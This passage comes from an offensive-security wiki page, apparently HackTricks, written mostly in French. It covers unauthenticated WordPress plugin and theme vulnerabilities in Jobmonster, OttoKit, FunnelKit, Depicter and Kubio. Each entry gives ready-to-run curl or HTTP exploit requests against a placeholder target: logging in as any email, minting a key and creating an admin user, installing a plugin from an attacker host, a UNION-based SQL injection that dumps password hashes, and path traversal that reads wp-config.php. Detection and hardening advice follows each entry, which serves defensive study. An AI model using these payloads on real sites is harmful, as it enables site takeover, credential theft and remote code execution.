wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Pourquoi c'est exploitable
- Accessible sans authentification via admin-ajax.php (wp_ajax_nopriv_⊠action).
- Aucune vérification nonce/capability avant toute modification d'état.
- Absence de vérification du provider OAuth/OpenID ; la branche par défaut accepte l'entrée de l'attaquant.
- get_user_by('email', $_POST['id']) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n'importe quelle adresse e-mail existante.
Exploitation (sans authentification)
- Prérequis : l'attaquant peut atteindre /wp-admin/admin-ajax.php et connaßt/devine une adresse e-mail d'utilisateur valide.
- Définir provider sur une valeur non supportée (ou l'omettre) pour atteindre la branche par défaut et transmettre id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 avec un corps JSON comme {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* pour l'utilisateur victime ; les requĂȘtes suivantes sont authentifiĂ©es.
Finding the action name
- Inspecter le thĂšme/plugin pour des enregistrements add_action('wp_ajax_nopriv_...', '...') dans le code de social login (par ex., framework/add-ons/social-login/class-social-login.php).
- Grep pour wp_set_auth_cookie(), get_user_by('email', ...) dans les handlers AJAX.
Detection checklist
- Web logs montrant des POST non authentifiés vers /wp-admin/admin-ajax.php avec l'action social-login et id=
. - RĂ©ponses 200 avec le JSON de succĂšs prĂ©cĂ©dant immĂ©diatement du trafic authentifiĂ© provenant de la mĂȘme IP/User-Agent.
Hardening
- Ne pas dériver l'identité à partir des données client. N'accepter que des emails/IDs provenant d'un token/ID fournisseur validé.
- Exiger des nonces CSRF et des vĂ©rifications de capability mĂȘme pour les helpers de login ; Ă©viter d'enregistrer wp_ajax_nopriv_ sauf si strictement nĂ©cessaire.
- Valider et vérifier les réponses OAuth/OIDC cÎté serveur ; rejeter les providers manquants/invalide (pas de fallback sur POST id).
- Envisager de désactiver temporairement le social login ou de corriger virtuellement au niveau du périmÚtre (bloquer l'action vulnérable) jusqu'à correction.
Patched behaviour (Jobmonster 4.8.0)
- Retiré le fallback non sécurisé de $_POST['id'] ; $user_email doit provenir des branches fournisseur vérifiées dans switch($_POST['using']).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers †1.0.82)
Some plugins expose REST endpoints that mint reusable âconnection keysâ or tokens without verifying the callerâs capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions â RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC â mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# â {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Pourquoi c'est exploitable
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
- No capability enforcement; minted key is accepted as a universal bypass
Detection checklist
- Grep le code du plugin pour register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Toute route qui Ă©met des tokens/keys basĂ©s sur une identitĂ© fournie dans la requĂȘte (username/email) sans la lier Ă un utilisateur authentifiĂ© ou Ă une capability
- Rechercher les routes ultérieures qui acceptent le token/key créé sans vérifications de capability cÎté serveur
Durcissement
- Pour toute REST route privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise
- Ne pas générer de clés à longue durée de vie à partir d'une identité fournie par le client ; si nécessaire, émettre des tokens de courte durée, liés à l'utilisateur aprÚs authentification, et revérifier les capabilities lors de l'utilisation
- Valider le contexte utilisateur de l'appelant (wp_set_current_user ne suffit pas seul) et rejeter les requĂȘtes oĂč !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse â unauthenticated arbitrary plugin installation (FunnelKit Automations †3.5.3)
Nonces prevent CSRF, not authorization. Si le code considÚre le passage d'un nonce comme un feu vert puis saute les vérifications de capability pour des opérations privilégiées (p.ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence de nonce faible et atteindre le RCE en installant un plugin backdoored ou vulnérable.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce âpassesâ
- Impact: full compromise via arbitrary plugin install/activation
PoC (la forme dépend du plugin ; à titre illustratif seulement)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
SQLi non authentifié via le paramÚtre s (search) dans les actions depicter-* (Depicter Slider †3.6.1)
Plusieurs actions depicter-* consommaient le paramĂštre s (search) et l'ont concatĂ©nĂ© dans des requĂȘtes SQL sans paramĂ©trisation.
- ParamĂštre : s (search)
- Faille : concatĂ©nation directe de chaĂźnes dans les clauses WHERE/LIKE ; pas de requĂȘtes prĂ©parĂ©es ni d'assainissement
- Impact : exfiltration de la base de données (utilisateurs, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Checklist de détection
- Grep pour depicter-* action handlers et l'utilisation directe de $_GET['s'] ou $_POST['s'] dans des requĂȘtes SQL
- Revoir les requĂȘtes personnalisĂ©es passĂ©es Ă $wpdb->get_results()/query() concatĂ©nant s
Durcissement
- Utiliser toujours $wpdb->prepare() ou les placeholders de wpdb ; rejeter cÎté serveur les métacaractÚres inattendus
- Ajouter une allowlist stricte pour s et normaliser vers le jeu de caractĂšres/longueur attendus
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder †2.5.1)
Accepter des chemins contrÎlés par l'attaquant dans un paramÚtre template sans normalisation/confinement permet de lire des fichiers locaux arbitraires, et parfois d'exécuter du code si des fichiers PHP/log inclusibles sont chargés au runtime.
- ParamĂštre: __kubio-site-edit-iframe-classic-template
- Flaw: pas de normalisation/allowlisting ; traversal permis
- Impact: divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (log poisoning, includable PHP)
PoC â lire wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Liste de contrÎle de détection
- Tout handler concatĂ©nant des chemins de requĂȘte dans des sinks include()/require()/read sans confinement via realpath()
- Recherchez des traversal patterns (../) atteignant en dehors du répertoire de templates prévu
Durcissement
- Imposer des templates autorisés ; résoudre via realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base))
- Normaliser les données d'entrée ; rejeter les séquences de traversal et les chemins absolus ; n'utiliser sanitize_file_name() que pour les noms de fichiers (pas les chemins complets)
Références
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset â delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments †5.6.1 â Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation â Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025âs most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) †1.0.82 â Privilege Escalation (Patchstack DB)
- FunnelKit Automations †3.5.3 â Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider †3.6.1 â Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder †2.5.1 â Unauthenticated LFI (Patchstack DB)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.